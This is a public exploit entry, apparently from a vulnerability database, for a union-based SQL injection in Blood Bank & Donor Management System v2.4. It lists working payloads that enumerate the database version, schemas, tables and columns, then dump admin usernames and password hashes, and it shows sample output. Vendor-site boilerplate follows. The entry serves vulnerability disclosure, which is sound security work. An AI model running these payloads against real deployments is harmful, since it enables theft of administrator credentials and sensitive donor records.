# Exploit Title: Blood Bank & Donor Management System v2.4 - Union
Based SQLi (Manuel Exploit)
# Date: 2025-04-07
# Exploit Author: Mehmet Can Kadıoğlu a.k.a mao7un
# Vendor: https://phpgurukul.com/blood-bank-donor-management-system-free-download/
# Demo Site: http://localhost/BBDMS-Project-PHP-V2.4/bbdms
# Tested on: Kali Linux
# CVE: N/A
PoC:
1. login as admin
2. go to "Search Blood Request" tab and give this payload
For version:
------------------------------------------------------------------
1' UNION SELECT 1,2,3,4,5,6,7,8,9,version()-- -
------------------------------------------------------------------
For databases:
------------------------------------------------------------------
1' UNION SELECT 1,2,3,4,5,6,7,8,9,schema_name FROM
information_schema.schemata-- -
------------------------------------------------------------------
tables in the database:
------------------------------------------------------------------
1' UNION SELECT 1,2,3,4,5,6,7,8,9,table_name FROM information_schema.tables
WHERE table_schema='bbdms'-- -
------------------------------------------------------------------
columns in the table
------------------------------------------------------------------
1' UNION SELECT 1,2,3,4,5,6,7,8,9,column_name FROM
information_schema.columns WHERE table_name='tbladmin'-- -
------------------------------------------------------------------
dump data
------------------------------------------------------------------
1' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,concat(UserName,":",Password) FROM
bbdms.tbladmin-- -
------------------------------------------------------------------
S.NoName of DonarConatact Number of DonarName of RequirerMobile Number of
RequirerEmail of RequirerBlood Require ForMessage of RequirerApply Date
1 9 admin:f925916[REDACTED]251 2 4 3 5 6Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation